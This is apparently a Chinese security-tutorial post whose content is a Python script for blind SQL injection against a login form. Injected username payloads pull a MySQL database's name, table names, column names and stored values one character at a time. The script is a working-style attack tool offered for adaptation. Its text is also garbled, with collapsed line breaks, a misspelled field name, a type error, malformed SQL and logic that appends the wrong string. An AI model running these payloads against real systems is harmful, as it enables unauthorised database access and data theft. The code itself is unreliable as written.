從零開始學安全(三十五)●mysql 盲注手工自定義python腳本

import requests import string #mysql 手動注入 通用腳本 適用盲注 能夠跟具本身的需求更改
def home(): url="url" list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?" s=requests.session() success = ""  # 成功返回的特徵
    error="" #失敗返回的體徵

# 1.拿到當前鏈接數據庫長度
    leng=0 i=0 while True: sql="admin%1$\\' or length(database())>"+str(i)+"#" data={"username":sql,"passwrod":1} r=s.post(url,data=data).content if  error in r : leng=i i=0 break i+=1
    print ("length the database:%d" %leng) #2.拿到當前鏈接數據庫名
    strs=''
    for t in range(leng): for l in list: sql="admin%1$\\' or ascii(substr(database(),"+str(t)+",1))="+str(ord(l))+"#" data = {"username": sql, "passwrod": 1} r=s.post(url,data=data).content if success in r: strs+=strs break
    print("database is :%s" % (strs)) #3.拿當前數據庫裏面的全部表
    #拿到數據庫表添加的長度
    while True: sql="admin%1$\\' or select length(group_concat(table_name)) from information_schema.tables where table_type='base table' and table_schema=database()<"+i+"#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if error in r: leng=i i=0 break i+=1
    print("length table is :%s" % (leng)) #返回全部表
    for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select group_concat(table_name) from information_schema.tables where table_type='base table' and table_schema=database(),"+str(t)+",1))="+str(ord(l))+"#" data = {"username": sql, "passwrod": 1} r=s.post(url,data=data).content if success in r: strs+=strs break
    print("talbes is :%s" % (strs)) #4.選擇先要查詢的表 返回表全部字段
    #返回長度
    table='table'#要查找的表名
    tablename = '0x' + table.encode('hex') table_name = table while True: sql = "admin%1$\\' or select length(group_concat(column_name)) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()<" + i + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if error in r: leng = i i = 0 break i += 1
    print("length table is :%s" % (leng)) # 返回全部表
    for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()," + str( t) + ",1))=" + str(ord(l)) + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if success in r: strs += strs break
    print("talbes is :%s" % (strs)) # 5.返回相應字段裏面的值
    num=0 while True: sql = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#" data = {'username':sql,'password':1} r = s.post(url,data=data).content if error in r: num = i i=0 break i+=1
        pass
    print("[+]number(column): %d" %(num)) # 返回長度
    table = 'table'  # 要查找的表名
    col='user'#要返回的字段
    for t in range(leng): for l in list: sql = "admin%1$\\' or ascii(substr(select "+col+" from limit 0,1 "+table_name+","+str(t)+",1))=" + str(ord(l)) + "#" data = {"username": sql, "passwrod": 1} r = s.post(url, data=data).content if success in r: strs += strs break
    print("talbes is :%s" % (strs))